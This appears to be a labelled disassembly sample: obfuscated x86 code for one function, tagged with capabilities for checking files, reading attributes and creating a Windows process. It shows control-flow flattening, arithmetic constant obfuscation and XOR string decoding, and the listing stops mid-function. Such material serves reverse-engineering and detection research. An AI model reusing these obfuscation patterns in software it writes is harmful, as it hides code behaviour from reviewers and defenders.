Function at 0x101336b0
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x84
mov eax, dword [0x1022bc48]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x1022926c]
or eax, dword [0x10229270]
add eax, 0x15ae5cb8
mov esi, 0xffffffff
xor esi, 0x48368d7a
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x48368d7a
or eax, 0x48368d7a
imul eax, edx
add eax, ecx
mov ecx, 0xf6331013
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xcd70625f
sub eax, ecx
sub eax, 0x1a570412
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x720f74cb
mov edx, 0xffffffff
xor edx, 0x720f74cb
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov esi, 0xffffffff
xor esi, 0x484cd439
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x484cd439
or eax, 0x484cd439
imul eax, edx
add eax, ecx
add eax, 0x4ed68169
add eax, 0x101ebbf3
sub eax, 0x4ed68169
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x281eb437
mov edx, 0xffffffff
xor edx, 0x281eb437
and eax, edx
sub eax, ecx
add eax, 0xc2e88ad3
mov esi, 0xffffffff
xor esi, 0x54e935a4
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x54e935a4
or eax, 0x54e935a4
imul eax, edx
add eax, ecx
mov ecx, 0xe4287f98
xor edx, edx
div ecx
or eax, 0x3cfc0723
mov ecx, 0xa48f139c
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x75f6f310
mov eax, ecx
xor eax, 0xeea77d23
xor eax, 0xffffffff
and eax, 0xeea77d23
shl eax, 1
sub eax, 0xeea77d23
sub ecx, eax
add ecx, 0x38976d80
xor ecx, 0x7f80fae1
sub ecx, 0xb35a567
sub ecx, 0xc2120daa
add ecx, 0xb35a567
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xaf5fe00
mov edx, 0xffffffff
xor edx, 0xaf5fe00
and ecx, edx
or eax, ecx
sub eax, 0xa2e2509
imul eax, eax, 0xea243e39
or eax, 0xb389a5c1
mov edx, eax
xor edx, 0xffffffff
and edx, 0x39cf8ab0
mov esi, 0xffffffff
xor esi, 0x39cf8ab0
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x39cf8ab0
or eax, 0x39cf8ab0
imul eax, edx
add eax, ecx
add eax, 0x2a6bacb2
imul eax, eax, 0x752e1f9c
add eax, 0xa5f52adc
xor eax, 0xbfe20315
imul ecx, eax, 0xf28a4cac
mov eax, ecx
or eax, 0x3fd1576
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3fd1576
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0x3da95c87
mov edx, 0xffffffff
xor edx, 0x2942c65e
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x2942c65e
add eax, edx
sub eax, ecx
imul eax, eax, 0xa6c521d9
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x73fa27c8
and ecx, 0x73fa27c8
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x14], 0xca4f1760
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ecx
and eax, 0xc2436b7e
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
sub eax, 0x83ded0af
je 0x1013778d
jmp 0x1013391c
mov eax, dword [ebp - 0x24]
sub eax, 0x843d7207
je 0x10138ee5
jmp 0x1013392f
mov eax, dword [ebp - 0x24]
sub eax, 0x8a077380
je 0x10135e95
jmp 0x10133942
mov eax, dword [ebp - 0x24]
sub eax, 0x904be2c1
je 0x1013af02
jmp 0x10133955
mov eax, dword [ebp - 0x24]
sub eax, 0x91aebe5b
je 0x10137a6f
jmp 0x10133968
mov eax, dword [ebp - 0x24]
sub eax, 0x92c34e47
je 0x1013a33d
jmp 0x1013397b
mov eax, dword [ebp - 0x24]
sub eax, 0x979a4e96
je 0x1013b0e4
jmp 0x1013398e
mov eax, dword [ebp - 0x24]
sub eax, 0x99712dee
je 0x1013a7b0
jmp 0x101339a1
mov eax, dword [ebp - 0x24]
sub eax, 0x9c011378
je 0x1013a26c
jmp 0x101339b4
mov eax, dword [ebp - 0x24]
sub eax, 0xa6cb83e2
je 0x10136e79
jmp 0x101339c7
mov eax, dword [ebp - 0x24]
sub eax, 0xb2034acf
je 0x10138427
jmp 0x101339da
mov eax, dword [ebp - 0x24]
sub eax, 0xb773546b
je 0x101370d5
jmp 0x101339ed
mov eax, dword [ebp - 0x24]
sub eax, 0xb7b86886
je 0x101369da
jmp 0x10133a00
mov eax, dword [ebp - 0x24]
sub eax, 0xbb379ead
je 0x101367d4
jmp 0x10133a13
mov eax, dword [ebp - 0x24]
sub eax, 0xbcbe0f5d
je 0x1013ac48
jmp 0x10133a26
mov eax, dword [ebp - 0x24]
sub eax, 0xbef2b8eb
je 0x1013732a
jmp 0x10133a39
mov eax, dword [ebp - 0x24]
sub eax, 0xc07783a0
je 0x101358f1
jmp 0x10133a4c
mov eax, dword [ebp - 0x24]
sub eax, 0xc172d7a8
je 0x10135b2f
jmp 0x10133a5f
mov eax, dword [ebp - 0x24]
sub eax, 0xc2cd58d2
je 0x10138c7a
jmp 0x10133a72
mov eax, dword [ebp - 0x24]
sub eax, 0xc7f57a7c
je 0x10137545
jmp 0x10133a85
mov eax, dword [ebp - 0x24]
sub eax, 0xca4f1760
je 0x10133ec5
jmp 0x10133a98
mov eax, dword [ebp - 0x24]
sub eax, 0xcd77163b
je 0x10139cbd
jmp 0x10133aab
mov eax, dword [ebp - 0x24]
sub eax, 0xd476dbdf
je 0x1013adb3
jmp 0x10133abe
mov eax, dword [ebp - 0x24]
sub eax, 0xd7b713ca
je 0x1013b0a4
jmp 0x10133ad1
mov eax, dword [ebp - 0x24]
sub eax, 0xdbc25a25
je 0x1013ae5a
jmp 0x10133ae4
mov eax, dword [ebp - 0x24]
sub eax, 0xe0379019
je 0x10139ccf
jmp 0x10133af7
mov eax, dword [ebp - 0x24]
sub eax, 0xe23defde
je 0x1013ac56
jmp 0x10133b0a
mov eax, dword [ebp - 0x24]
sub eax, 0xe3d0d74c
je 0x1013868f
jmp 0x10133b1d
mov eax, dword [ebp - 0x24]
sub eax, 0xe5f1cb4b
je 0x101350cd
jmp 0x10133b30
mov eax, dword [ebp - 0x24]
sub eax, 0xed14001f
je 0x101393d1
jmp 0x10133b43
mov eax, dword [ebp - 0x24]
sub eax, 0xedabc1c0
je 0x101381a9
jmp 0x10133b56
mov eax, dword [ebp - 0x24]
sub eax, 0xef0f315e
je 0x1013ae8a
jmp 0x10133b69
mov eax, dword [ebp - 0x24]
sub eax, 0xf4b574dc
je 0x1013ae3c
jmp 0x10133b7c
mov eax, dword [ebp - 0x24]
sub eax, 0xf4f679ac
je 0x101399e7
jmp 0x10133b8f
mov eax, dword [ebp - 0x24]
sub eax, 0xf8d574a7
je 0x1013883c
jmp 0x10133ba2
mov eax, dword [ebp - 0x24]
sub eax, 0xfb0c1fd2
je 0x1013af3a
jmp 0x10133bb5
mov eax, dword [ebp - 0x24]
sub eax, 0x1a47a0
je 0x10134a6e
jmp 0x10133bc8
mov eax, dword [ebp - 0x24]
sub eax, 0x610a1e6
je 0x101356f0
jmp 0x10133bdb
mov eax, dword [ebp - 0x24]
sub eax, 0x759b1d1
je 0x1013a9fe
jmp 0x10133bee
mov eax, dword [ebp - 0x24]
sub eax, 0xb77f4b7
je 0x10137fa6
jmp 0x10133c01
mov eax, dword [ebp - 0x24]
sub eax, 0xba1e598
je 0x1013975d
jmp 0x10133c14
mov eax, dword [ebp - 0x24]
sub eax, 0xbc4f305
je 0x1013adcd
jmp 0x10133c27
mov eax, dword [ebp - 0x24]
sub eax, 0xde14cef
je 0x1013916f
jmp 0x10133c3a
mov eax, dword [ebp - 0x24]
sub eax, 0x10dc9c6b
je 0x1013881f
jmp 0x10133c4d
mov eax, dword [ebp - 0x24]
sub eax, 0x10e08809
je 0x10136525
jmp 0x10133c60
mov eax, dword [ebp - 0x24]
sub eax, 0x11ab5eb8
je 0x101343ce
jmp 0x10133c73
mov eax, dword [ebp - 0x24]
sub eax, 0x12073ed7
je 0x10137caa
jmp 0x10133c86
mov eax, dword [ebp - 0x24]
sub eax, 0x148c48d5
je 0x10133ee5
jmp 0x10133c99
mov eax, dword [ebp - 0x24]
sub eax, 0x20c54877
je 0x1013aee8
jmp 0x10133cac
mov eax, dword [ebp - 0x24]
sub eax, 0x22023773
je 0x1013ac7a
jmp 0x10133cbf
mov eax, dword [ebp - 0x24]
sub eax, 0x24c7181c
je 0x1013974f
jmp 0x10133cd2
mov eax, dword [ebp - 0x24]
sub eax, 0x2691445f
je 0x1013af20
jmp 0x10133ce5
mov eax, dword [ebp - 0x24]
sub eax, 0x277218e2
je 0x10138a5c
jmp 0x10133cf8
mov eax, dword [ebp - 0x24]
sub eax, 0x28de4734
je 0x1013a7be
jmp 0x10133d0b
mov eax, dword [ebp - 0x24]
sub eax, 0x2e6eb35b
je 0x101360cd
jmp 0x10133d1e
mov eax, dword [ebp - 0x24]
sub eax, 0x316bf17b
je 0x1013a7e0
jmp 0x10133d31
mov eax, dword [ebp - 0x24]
sub eax, 0x339eecf3
je 0x101341b2
jmp 0x10133d44
mov eax, dword [ebp - 0x24]
sub eax, 0x377cdd1a
je 0x10135427
jmp 0x10133d57
mov eax, dword [ebp - 0x24]
sub eax, 0x3ad4b4a8
je 0x10136c51
jmp 0x10133d6a
mov eax, dword [ebp - 0x24]
sub eax, 0x3c272383
je 0x1013ac9c
jmp 0x10133d7d
mov eax, dword [ebp - 0x24]
sub eax, 0x3c42d1f2
je 0x1013aeca
jmp 0x10133d90
mov eax, dword [ebp - 0x24]
sub eax, 0x443dac63
je 0x10135dc5
jmp 0x10133da3
mov eax, dword [ebp - 0x24]
sub eax, 0x4442a09f
je 0x1013a25e
jmp 0x10133db6
mov eax, dword [ebp - 0x24]
sub eax, 0x46046509
je 0x1013aeac
jmp 0x10133dc9
mov eax, dword [ebp - 0x24]
sub eax, 0x4b872ea5
je 0x101345bf
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov ecx, 0xe23defde
mov edx, 0x148c48d5
cmp esi, 0x7c016b9a
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [0x10229274]
imul ecx, dword [0x10229278]
sub ecx, 0xad051a1d
mov eax, 0xffffffff
xor eax, 0x4def8e8b
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
and ecx, 0xddb24243
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x41034a7c
mov esi, 0xffffffff
xor esi, 0x41034a7c
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x41034a7c
or ecx, 0x41034a7c
imul ecx, edx
add ecx, eax
or ecx, 0xe0f44d7b
and ecx, 0x1ddb799b
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x2b214fba
mov esi, 0xffffffff
xor esi, 0x2b214fba
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x2b214fba
or ecx, 0x2b214fba
imul ecx, edx
add ecx, eax
xor ecx, 0xd8194f7a
and ecx, 0xb30b644c
mov eax, ecx
xor eax, 0xf55d25d7
xor eax, 0xffffffff
or ecx, 0xf55d25d7
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x2c], eax
mov esi, 0xffffffff
xor esi, 0xd1d75dbd
mov edx, 0xffffffff
xor edx, 0xc9c1a25b
and eax, 0xc9c1a25b
and ecx, edx
mov edi, esi
and edi, 0xc9c1a25b
mov ebx, edx
and ebx, 0xd1d75dbd
or eax, ecx
mov ecx, dword [ebp - 0x2c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xc9c1a25b
and ecx, edx
or eax, ecx
mov ecx, 0x31d02425
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xdffae79d
xor ecx, 0xffffffff
or eax, 0xdffae79d
and eax, ecx
imul ecx, eax, 0xefa5172e
and ecx, 0x6bd82ad5
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xacd15fcb
add ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5890fcb2
mov eax, 0xffffffff
xor eax, 0x5444b0e7
or ecx, edx
or eax, 0x5444b0e7
xor ecx, 0xffffffff
and ecx, eax
add ecx, 0x47dbd06c
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xac54a4ed
and ecx, 0xac54a4ed
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xfbb43052
mov ecx, 0x1077a24f
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
and edx, 0x55f7dec5
or edx, edx
xor edx, 0xffffffff
mov ecx, 0xddf07357
or ecx, 0xddf07357
xor ecx, 0xffffffff
xor edx, 0xffffffff
xor ecx, 0xffffffff
and edx, ecx
and edx, 0x98a7492e
mov ecx, edx
xor ecx, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or ecx, esi
and ecx, 0x368667d3
xor ecx, 0xffffffff
mov esi, 0x368667d3
and esi, 0x368667d3
xor esi, 0xffffffff
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
or ecx, 0xa7ed04b8
add ecx, 0x9546c6e
or ecx, 0xec374bb3
mov edx, 0xffffffff
xor edx, 0xb06bc18b
add ecx, edx
add ecx, 1
sub ecx, 0xd40fbcd6
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbc9ab4
mov esi, 0xffffffff
xor esi, 0xbc9ab4
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xffffffff
xor edx, 0xd782cd5e
xor esi, esi
sub esi, 1
sub edx, esi
sub ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x376f0ed6
mov edi, 0xffffffff
xor edi, 0x376f0ed6
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0x376f0ed6
or ecx, 0x376f0ed6
imul ecx, esi
add ecx, edx
imul esi, ecx, 0x95d2f5ee
and esi, 0x895812ef
cmp dword [0x1022d298], 0
sete cl
mov byte [ebp - 0x25], cl
mov ecx, 0x67a8bca1
mov edx, 0x148c48d5
cmp esi, 0xabf46440
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x1022927c]
mov edx, dword [0x10229280]
mov ecx, eax
xor ecx, edx
xor ecx, 0xffffffff
or eax, edx
and eax, ecx
mov ecx, 0x616b9d6c
xor edx, edx
div ecx
imul eax, eax, 0xda8918fc
sub eax, 0xe99cbeab
add eax, 0xb2fd3384
add eax, 0xe99cbeab
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x30], ecx
mov esi, 0xffffffff
xor esi, 0xef1ce6ab
mov edx, 0xffffffff
xor edx, 0x559f3867
and ecx, 0x559f3867
and eax, edx
mov edi, esi
and edi, 0x559f3867
mov ebx, edx
and ebx, 0xef1ce6ab
or ecx, eax
mov eax, dword [ebp - 0x30]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x559f3867
and eax, edx
or ecx, eax
mov eax, ecx
and eax, 0x400eaaec
xor ecx, 0x400eaaec
or eax, ecx
xor ecx, ecx
sub ecx, 0x302acbf
add eax, ecx
or eax, 0x7c0d2dcc
mov ecx, 0xffffffff
xor ecx, 0xd770ba74
add eax, ecx
add eax, 1
mov ecx, eax
xor ecx, 0xb93c2f8d
xor ecx, 0xffffffff
or eax, 0xb93c2f8d
and eax, ecx
sub eax, 0x1b4c54bf
add eax, 0x38ab7e9
add eax, 0x1b4c54bf
mov ecx, 0xff779a07
xor edx, edx
div ecx
sub eax, 0x5efcf561
sub eax, 0xf334fdb6
add eax, 0x5efcf561
imul eax, eax, 0xc2dfcb52
or eax, 0x9e024857
mov ecx, eax
xor ecx, 0xedbeb829
xor ecx, 0xffffffff
and ecx, 0xedbeb829
shl ecx, 1
sub ecx, 0xedbeb829
sub eax, ecx
mov ecx, 0x149c1c0f
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x3ac0f822
shl ecx, 1
add eax, 0x3ac0f822
sub eax, ecx
mov ecx, eax
xor ecx, 0x898faee9
xor ecx, 0xffffffff
and ecx, 0x898faee9
shl ecx, 1
sub ecx, 0x898faee9
sub eax, ecx
mov ecx, 0x46639476
xor edx, edx
div ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xb167bbc6
and ecx, 0xb167bbc6
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
or eax, 0xb18cf066
and eax, 0x81c168f6
or eax, 0xbe03a6cd
add eax, 0x29b0e42c
sub eax, 0xd199722f
add eax, 0x61a75a8d
add eax, 0xd199722f
sub eax, 0xe14df25f
add eax, 0xa8c8e921
add eax, 0xe14df25f
add eax, 0xe8c3bb2
add eax, 0x11ad853d
sub eax, 0xe8c3bb2
add eax, 0x1f86f7eb
add eax, 0xaf964234
sub eax, 0x1f86f7eb
and eax, 0xbcd7b5cc
add eax, 0xd0e416b0
mov ecx, 0x3685723b
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x72ddffac
xor ecx, 0x72ddffac
or eax, ecx
mov ecx, 0x38398bd0
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
sub esi, 0x273c9427
sub esi, 0x604f1798
add esi, 0x273c9427
and esi, 0x104fe017
mov ecx, 0x22023773
mov edx, 0x11ab5eb8
cmp esi, 0xe1972f82
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x10229284]
or eax, dword [0x10229288]
sub eax, 0xaaeff3c7
sub eax, 0x1b40c587
add eax, 0xaaeff3c7
imul eax, eax, 0x40916f7a
mov ecx, 0xf3e77fbe
xor edx, edx
div ecx
imul eax, eax, 0xbaf7d26b
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xb633e739
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x4e28666c
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x4e28666c
or eax, 0x4e28666c
imul eax, edx
add eax, ecx
mov ecx, 0x4b23169a
xor edx, edx
div ecx
xor eax, 0x61f2ee1
or eax, 0xfd8bb1b5
imul eax, eax, 0xb290e68a
and eax, 0xe73107da
mov ecx, 0xffffffff
xor ecx, 0x6872631f
add eax, ecx
add eax, 1
and eax, 0x85a857e0
mov ecx, 0xffffffff
xor ecx, 0x4da3c154
add eax, ecx
add eax, 1
imul ecx, eax, 0x8cc53b4d
xor eax, eax
sub eax, 0x2e1316be
add ecx, eax
mov eax, ecx
and eax, 0x9489f1c5
xor eax, 0xffffffff
and ecx, 0x9489f1c5
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul eax, eax, 0x784a6647
sub eax, 0x89f43d47
xor eax, 0xc71ea38f
and eax, 0xde892a58
sub eax, 0x78233f45
add eax, 0x88bc0c3c
add eax, 0x78233f45
add eax, 0x63d0114f
add eax, 0x4931adad
mov ecx, 0xc8699c33
xor edx, edx
div ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x73f46fad
mov edx, 0xffffffff
xor edx, 0x73f46fad
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x7a937fe7
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x3a079e3a
mov esi, 0xffffffff
xor esi, 0x3a079e3a
and ecx, esi
sub ecx, edx
and ecx, 0x7e18ab86
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x4081aede
mov edi, 0xffffffff
xor edi, 0x4081aede
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0x4081aede
or ecx, 0x4081aede
imul ecx, esi
add ecx, edx
imul esi, ecx, 0x61ad05b0
mov edx, 0xffffffff
xor edx, 0x87e79af1
mov ecx, esi
and ecx, edx
mov edx, esi
xor edx, 0x87e79af1
add esi, edx
sub esi, ecx
add esi, 0x4c23b1bf
or esi, 0x227d12ca
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x5de19c3a
mov edx, 0xffffffff
xor edx, 0x5de19c3a
and esi, edx
sub esi, ecx
mov ecx, 0x4b872ea5
mov edx, 0x22023773
cmp esi, 0xefa0c46f
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [0x1022929c]
xor ecx, dword [0x102292a0]
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xa4e6748d
mov esi, 0xffffffff
xor esi, 0xa4e6748d
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0xa4e6748d
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov esi, 0xffffffff
xor esi, 0x9d90ea96
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9d90ea96
or eax, 0x9d90ea96
imul eax, edx
add eax, ecx
xor eax, 0xd9d9cef4
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe17a644f
mov esi, 0xffffffff
xor esi, 0xe17a644f
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xe17a644f
or eax, 0xe17a644f
imul eax, edx
add eax, ecx
add eax, 0x126b1d2f
mov ecx, eax
and ecx, 0xad068447
xor ecx, 0xffffffff
add eax, 0xad068447
add eax, 1
add eax, ecx
sub eax, 0xdb1af3cd
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xcf22f232
mov edx, 0xffffffff
xor edx, 0xcf22f232
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x40a46f10
mov edx, 0xffffffff
xor edx, 0x40a46f10
and eax, edx
sub eax, ecx
add eax, 0x11ac7f29
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0x53c0f25b
or eax, 0x53c0f25b
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
add ecx, 0xb24a1fd6
add ecx, 0x62c0b779
sub ecx, 0xb24a1fd6
mov esi, 0xffffffff
xor esi, 0xf44af1
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xf44af1
or ecx, 0xf44af1
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xbb8955b5
xor eax, 0xffffffff
add ecx, 0xbb8955b5
add ecx, 1
add ecx, eax
xor ecx, 0xc9e2c9b6
mov eax, ecx
and eax, 0xb5b005d3
xor eax, 0xffffffff
and ecx, 0xb5b005d3
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xf9a6c48d
xor edx, edx
div ecx
mov ecx, 0xb107d893
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xe954067d
mov esi, 0xffffffff
xor esi, 0xe954067d
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xe954067d
or ecx, 0xe954067d
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x2c77f47c
shl eax, 1
add ecx, 0x2c77f47c
sub ecx, eax
mov eax, ecx
or eax, 0x80451b9e
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80451b9e
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xf7bc92ae
xor edx, edx
div ecx
mov ecx, 0xddc2f4d9
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xec1747d
mov edx, 0xffffffff
xor edx, 0xec1747d
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x27d832bd
and ecx, 0xec1747d
and edx, 0x27d832bd
or eax, esi
or ecx, edx
xor eax, ecx
imul eax, eax, 0x5383f7fa
sub eax, 0x8b19fa4e
add eax, 0xd3e7cacc
sub eax, 0x8cdec258
mov edx, 0xffffffff
xor edx, 0x3117b24b
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x3117b24b
add eax, edx
sub eax, ecx
imul esi, eax, 0x131547aa
mov eax, esi
xor eax, 0xffffffff
and eax, 0x62851368
mov edx, 0xffffffff
xor edx, 0x62851368
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xbd9a80da
and ecx, 0x62851368
and edx, 0xbd9a80da
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xb62aaf9c
xor eax, 0xf9f2597c
sub eax, 0x46ec8108
sub eax, 0xd983d7f
add eax, 0x46ec8108
mov ecx, 0x644eace6
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov cl, byte [0x10224ab8]
xor cl, 0xd6
mov byte [0x10224ac1], cl
mov dl, byte [0x10224ab9]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x4e
mov dh, 0xff
xor dh, 0x4e
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x4e
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x10224ac2], cl
mov dl, byte [0x10224aba]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xb9
or ch, 0xb9
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xb9
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x10224ac3], cl
mov cl, byte [0x10224abb]
xor cl, 0xa7
mov byte [0x10224ac4], cl
mov cl, byte [0x10224abc]
xor cl, 0xb2
mov byte [0x10224ac5], cl
mov cl, byte [0x10224abd]
mov dl, cl
xor dl, 0x92
xor dl, 0xff
and dl, 0x92
shl dl, 1
sub dl, 0x92
sub cl, dl
mov byte [str.__a__], cl
mov cl, byte [0x10224abe]
xor cl, 0x8e
mov byte [0x10224ac7], cl
mov cl, byte [0x10224abf]
xor cl, 0x75
mov byte [0x10224ac8], cl
mov cl, byte [0x10224ac0]
xor cl, 0x41
mov byte [0x10224ac9], cl
mov ecx, 0x4ee7c143
mov edx, 0x3c272383
cmp esi, 0x8a5a6913
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x102292ac]
mov esi, dword [0x102292b0]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x3357557f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x3357557f
or eax, 0x3357557f
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0xce15af9d
shl ecx, 1
xor eax, 0xce15af9d
add eax, ecx
mov ecx, eax
xor ecx, 0x5cdcfbd8
mov edx, 0xffffffff
xor edx, 0x5cdcfbd8
and eax, edx
shl eax, 1
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x482085d2
mov esi, 0xffffffff
xor esi, 0x482085d2
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x482085d2
or eax, 0x482085d2
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xb1dda0f8
add eax, ecx
add eax, 1
mov esi, 0xffffffff
xor esi, 0xcadcb192
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xcadcb192
or eax, 0xcadcb192
imul eax, edx
add eax, ecx
or eax, 0x4afd9f96
sub eax, 0xdc5aa3bb
mov esi, eax
xor esi, 0xffffffff
mov ecx, eax
xor ecx, 0xffffffff
or esi, ecx
and esi, 0x4abf85ef
xor esi, 0xffffffff
mov ecx, 0x4abf85ef
and ecx, 0x4abf85ef
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and esi, eax
xor esi, 0xffffffff
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x45a12350
mov edx, 0xffffffff
xor edx, 0x45a12350
and esi, edx
mov eax, 0xffffffff
xor eax, 0x65c059d6
and eax, 0x45a12350
and edx, 0x65c059d6
or ecx, esi
or eax, edx
xor ecx, eax
